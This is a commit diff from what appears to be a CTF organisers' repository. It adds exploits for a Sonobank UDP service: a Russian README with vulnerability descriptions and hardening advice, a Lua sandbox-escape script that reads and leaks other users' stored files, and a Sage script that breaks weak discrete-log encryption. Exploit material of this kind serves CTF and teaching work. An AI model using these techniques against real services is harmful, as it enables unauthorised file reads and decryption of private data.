adding validated services? patching forcad_local.py
This commit is contained in:
54
ctfcup2025-school-final/sploits/sonobank/README.md
Normal file
54
ctfcup2025-school-final/sploits/sonobank/README.md
Normal file
@@ -0,0 +1,54 @@
|
||||
# Sonobank: описание, уязвимости + PoCs, харденинг
|
||||
|
||||
## Что за сервис
|
||||
UDP‑сервис, говорящий на SysEx‑фреймах (опкоды 0x01–0x05). Основные операции:
|
||||
- `Diag` — проверка живости.
|
||||
- `Put` — принимает Lua DSP‑скрипт, шифрует и сохраняет как патч (`patch_id`, приватный ключ выдаётся в ответе).
|
||||
- `Get` — возвращает публичный ключ и шифротекст патча по `patch_id`.
|
||||
- `RenderHash` — расшифровывает Lua и вызывает `sample()`, хешируя значения.
|
||||
- `GetCryptoParams` — отдаёт параметры группы.
|
||||
|
||||
Патчи лежат на диске как `data/<uuid>.pb` в TLV‑формате: k, c1, ct, iv, End.
|
||||
|
||||
## Уязвимость 1: Lua не песочница, утечки через RenderHash
|
||||
- `lua-sandbox::render_hash` создаёт полноценный Lua без ограничения stdlib; доступны `io.open`, `os`, и т.п.
|
||||
- Ошибки из Lua пробрасываются в ответ `RenderHash` (server возвращает `Error("Couldn't compute hash: <сообщение>")`).
|
||||
- Итог: любой может загружать произвольный Lua и читать локальные файлы, затем вернуть их содержимое через `error()`.
|
||||
|
||||
### Эксплуатация (PoC `lua_poc.py`)
|
||||
Выгружает содержимое чужого патча `data/<victim_patch_id>.pb`, расшифровывает его и печатает исходный Lua (в нём хранится флаг).
|
||||
```
|
||||
python3 sploits/sonobank/lua_poc.py <host> <victim_patch_id> [port=5004]
|
||||
```
|
||||
Скрипт:
|
||||
1) Делает `Put` с Lua, который читает `data/<victim>.pb` и бросает его в ошибке как hex.
|
||||
2) Делает `RenderHash` на своём патче, получает `Error`, парсит TLV, выводит расшифрованный Lua жертвы.
|
||||
|
||||
### Харденинг
|
||||
- Создавать Lua с отключёнными I/O: `Lua::new_with(mlua::StdLib::BASE | ... )` без `IO`/`OS`, или `set_sandboxed(true)`.
|
||||
- Явно очищать/затирать глобальные таблицы (`io`, `os`, `package`).
|
||||
- Не выдавать текст ошибки пользователю — логировать на сервере, клиенту слать общий код.
|
||||
|
||||
## Уязвимость 2: Крипто на слабой группе, dlog решается
|
||||
- Кольцо — GF(2)[x]/P(x), которое притворяется GF(p).
|
||||
- Полином P(x) раскладывается как Q(x)^5, поэтому порядок мультипликативной группы (2^210 - 1) умножить на небольшое число.
|
||||
- В этом случае порядок группы равен (2^210 - 1) * 8, Этот порядок гладкий и позволяет алгоритмом Полига-Хеллмана посчитать длог. Для ускорения сначала считаем по модулю Q(x).
|
||||
|
||||
### Эксплуатация (PoC `crypto_sploit.py`)
|
||||
Запуск под `sage -python` (используется `sage.all`):
|
||||
```
|
||||
sage -python sploits/sonobank/crypto_sploit.py
|
||||
```
|
||||
Скрипт:
|
||||
1) Берёт `GetCryptoParams`, затем `Get` по `flag_id` (`patch_id`).
|
||||
2) Факторизует модуль, решает дискретный логарифм, восстанавливает общий ключ и расшифровывает AES‑CBC.
|
||||
3) Печатает Lua с флагом.
|
||||
|
||||
### Харденинг
|
||||
- Заменить модуль на неприводимый с удачной степенью, например, 127 (2^127 - 1 является простым числом Мерсенна). Тогда группа будет вполне подходящей.
|
||||
|
||||
## Полезные файлы
|
||||
- `sploits/sonobank/lua_poc.py` — утечка через Lua.
|
||||
- `sploits/sonobank/crypto_sploit.py` — взлом DLog.
|
||||
- `services/sonobank/crates/lua-sandbox/src/lib.rs` — источник Lua уязвимости.
|
||||
- `services/sonobank/crates/crypto/src/encryption.rs` — уязвимый DH.
|
||||
82
ctfcup2025-school-final/sploits/sonobank/crypto_sploit.py
Normal file
82
ctfcup2025-school-final/sploits/sonobank/crypto_sploit.py
Normal file
@@ -0,0 +1,82 @@
|
||||
from sage.all import *
|
||||
from socket import socket, AF_INET, SOCK_DGRAM
|
||||
import uuid
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import unpad
|
||||
import hashlib
|
||||
|
||||
IP = "127.0.0.1"
|
||||
flag_id = "b0e29b3a-f560-449c-ad59-1b760c4aab47"
|
||||
|
||||
PR = PolynomialRing(GF(2), "x")
|
||||
|
||||
def bits(n):
|
||||
return [int(c) for c in bin(n)[2:]][::-1]
|
||||
|
||||
def unbits(bs):
|
||||
return sum(int(x) << i for i, x in enumerate(list(bs)))
|
||||
|
||||
get_crypto_params_payload = bytes((
|
||||
0xF0,
|
||||
0x7D,
|
||||
0x53,
|
||||
0x58,
|
||||
0x05,
|
||||
0xF7
|
||||
))
|
||||
|
||||
sock = socket(AF_INET, SOCK_DGRAM)
|
||||
sock.bind(("0.0.0.0", 0))
|
||||
sock.connect((IP, 5004))
|
||||
|
||||
sock.sendall(get_crypto_params_payload)
|
||||
msg = sock.recv(1024)
|
||||
|
||||
modulus = PR(bits(int.from_bytes(msg[5:5 + 64], "big")))
|
||||
base = PR(bits(int.from_bytes(msg[5 + 64:5 + 64 + 64], "big")))
|
||||
|
||||
|
||||
get_crypto_params_payload = bytes((
|
||||
0xF0,
|
||||
0x7D,
|
||||
0x53,
|
||||
0x58,
|
||||
0x03,
|
||||
*uuid.UUID(flag_id).bytes,
|
||||
0xF7
|
||||
))
|
||||
|
||||
sock.sendall(get_crypto_params_payload)
|
||||
msg = sock.recv(1024)
|
||||
h = PR(bits(int.from_bytes(msg[5:5 + 64], "big")))
|
||||
c1 = PR(bits(int.from_bytes(msg[5 + 64:5 + 64*2], "big")))
|
||||
iv = msg[5 + 64*2:5 + 64*2 + 16]
|
||||
ct = msg[5 + 64*2 + 16:-1]
|
||||
|
||||
fact = factor(modulus)
|
||||
assert len(fact) == 1
|
||||
assert fact[0][1] == 5
|
||||
D = fact[0][0].degree()
|
||||
|
||||
# part modulo p
|
||||
R = GF(2 ** D, 'a', modulus=fact[0][0])
|
||||
print(R)
|
||||
r = R(c1).log(base)
|
||||
|
||||
# remaining part
|
||||
R = PR.quotient(modulus)
|
||||
newbase = R(base) ** (2 ** D - 1)
|
||||
newres = R(c1) ** (2 ** D - 1)
|
||||
for x in range(1, 8):
|
||||
if newbase ** x == newres:
|
||||
break
|
||||
else:
|
||||
print("failed to find part")
|
||||
r = crt([r, x], [2 ** D - 1, 8])
|
||||
assert R(base) ** r == R(c1)
|
||||
|
||||
shared_key = int(unbits(list(R(h) ** r))).to_bytes(64, "big")
|
||||
key = hashlib.sha256(shared_key).digest()[:16]
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
pt = unpad(cipher.decrypt(ct), 16)
|
||||
print(pt)
|
||||
165
ctfcup2025-school-final/sploits/sonobank/lua_poc.py
Normal file
165
ctfcup2025-school-final/sploits/sonobank/lua_poc.py
Normal file
@@ -0,0 +1,165 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
PoC: abuse the Lua "sandbox" to read arbitrary files (here: victim patch files)
|
||||
and recover the plaintext Lua that embeds the flag.
|
||||
|
||||
Usage: python3 lua_poc.py <host> <victim_patch_id> [port]
|
||||
"""
|
||||
import hashlib
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import uuid
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import unpad
|
||||
|
||||
|
||||
MANUFACTURER = b"\x7D\x53\x58"
|
||||
OP_PUT = 0x02
|
||||
OP_RENDER_HASH = 0x04
|
||||
OP_PUT_RESP = 0x07
|
||||
OP_ERROR = 0x0B
|
||||
|
||||
# Same modulus as DEFAULT_CRYPTO_PARAMS in the service.
|
||||
MODULUS = int(
|
||||
"00000000000000000000001010400401040050501011140450454504004145540054510014551150445504010145150511100005011015500410014404111555",
|
||||
16,
|
||||
)
|
||||
MOD_BITS = MODULUS.bit_length()
|
||||
|
||||
|
||||
def frame(op: int, payload: bytes = b"") -> bytes:
|
||||
return b"\xF0" + MANUFACTURER + bytes([op]) + payload + b"\xF7"
|
||||
|
||||
|
||||
def recv_frame(sock: socket.socket) -> bytes:
|
||||
data = sock.recv(4096)
|
||||
if len(data) < 6 or data[0] != 0xF0 or data[-1] != 0xF7:
|
||||
raise RuntimeError(f"Bad frame: {data!r}")
|
||||
return data
|
||||
|
||||
|
||||
def build_lua(victim_patch: str) -> bytes:
|
||||
# Reads the raw patch file and dumps it as hex in an error message.
|
||||
return f"""
|
||||
local victim = "{victim_patch}"
|
||||
local path = "data/" .. victim .. ".pb"
|
||||
|
||||
function tohex(s)
|
||||
return (s:gsub(".", function(c) return string.format("%02x", string.byte(c)) end))
|
||||
end
|
||||
|
||||
function sample(t, note, velocity)
|
||||
local f = io.open(path, "rb")
|
||||
if not f then
|
||||
error("no_file")
|
||||
end
|
||||
local blob = f:read("*a")
|
||||
f:close()
|
||||
error(tohex(blob))
|
||||
end
|
||||
""".encode()
|
||||
|
||||
|
||||
def parse_hex_from_error(msg: str) -> bytes:
|
||||
m = re.search(r"[0-9a-f]{200,}", msg) # look for a long hex blob
|
||||
if not m:
|
||||
raise RuntimeError(f"No hex payload in error: {msg}")
|
||||
return bytes.fromhex(m.group(0))
|
||||
|
||||
|
||||
def parse_tlv(blob: bytes):
|
||||
i = 0
|
||||
out = {}
|
||||
while i < len(blob):
|
||||
tag = blob[i]
|
||||
i += 1
|
||||
if tag == 0xFF:
|
||||
break
|
||||
length = int.from_bytes(blob[i : i + 2], "big")
|
||||
i += 2
|
||||
out[tag] = blob[i : i + length]
|
||||
i += length
|
||||
return out
|
||||
|
||||
|
||||
def reduce(x: int) -> int:
|
||||
while x.bit_length() >= MOD_BITS:
|
||||
x ^= MODULUS << (x.bit_length() - MOD_BITS)
|
||||
return x
|
||||
|
||||
|
||||
def mul(a: int, b: int) -> int:
|
||||
prod = 0
|
||||
shift = 0
|
||||
bb = b
|
||||
while bb:
|
||||
if bb & 1:
|
||||
prod ^= a << shift
|
||||
bb >>= 1
|
||||
shift += 1
|
||||
return reduce(prod)
|
||||
|
||||
|
||||
def pow_ring(base: int, exp: int) -> int:
|
||||
base = reduce(base)
|
||||
result = 1
|
||||
ee = exp
|
||||
while ee:
|
||||
if ee & 1:
|
||||
result = mul(result, base)
|
||||
base = mul(base, base)
|
||||
ee >>= 1
|
||||
return result
|
||||
|
||||
|
||||
def decrypt_patch(tlv):
|
||||
k = int.from_bytes(tlv[0x01], "big")
|
||||
c1 = int.from_bytes(tlv[0x02], "big")
|
||||
ct = tlv[0x03]
|
||||
iv = tlv[0x04]
|
||||
|
||||
s = pow_ring(c1, k)
|
||||
s_bytes = s.to_bytes(64, "big")
|
||||
key = hashlib.sha256(s_bytes).digest()[:16]
|
||||
pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
|
||||
return pt.decode(errors="replace")
|
||||
|
||||
|
||||
def exploit(host: str, victim_patch: str, port: int) -> None:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(5.0)
|
||||
sock.connect((host, port))
|
||||
|
||||
# 1) Upload malicious Lua that leaks the victim patch file.
|
||||
lua_payload = build_lua(victim_patch)
|
||||
sock.sendall(frame(OP_PUT, lua_payload))
|
||||
put_resp = recv_frame(sock)
|
||||
if put_resp[4] != OP_PUT_RESP:
|
||||
raise RuntimeError(f"Unexpected PUT response opcode {put_resp[4]:#x}: {put_resp!r}")
|
||||
attacker_patch = uuid.UUID(bytes=put_resp[5:21])
|
||||
print(f"[+] Uploaded attacker patch {attacker_patch}")
|
||||
|
||||
# 2) Trigger execution; sample() will error with hex blob of the patch file.
|
||||
payload = attacker_patch.bytes + struct.pack(">II", 0, 0)
|
||||
sock.sendall(frame(OP_RENDER_HASH, payload))
|
||||
render_resp = recv_frame(sock)
|
||||
if render_resp[4] != OP_ERROR:
|
||||
raise RuntimeError(f"Expected error frame, got {render_resp!r}")
|
||||
error_msg = render_resp[5:-1].decode(errors="replace")
|
||||
blob = parse_hex_from_error(error_msg)
|
||||
tlv = parse_tlv(blob)
|
||||
lua_src = decrypt_patch(tlv)
|
||||
print("[+] Decrypted victim Lua:")
|
||||
print(lua_src)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 3:
|
||||
print(f"Usage: {sys.argv[0]} <host> <victim_patch_id> [port]")
|
||||
sys.exit(1)
|
||||
target_host = sys.argv[1]
|
||||
victim_patch = sys.argv[2]
|
||||
target_port = int(sys.argv[3]) if len(sys.argv) > 3 else 5004
|
||||
exploit(target_host, victim_patch, target_port)
|
||||
Reference in New Issue
Block a user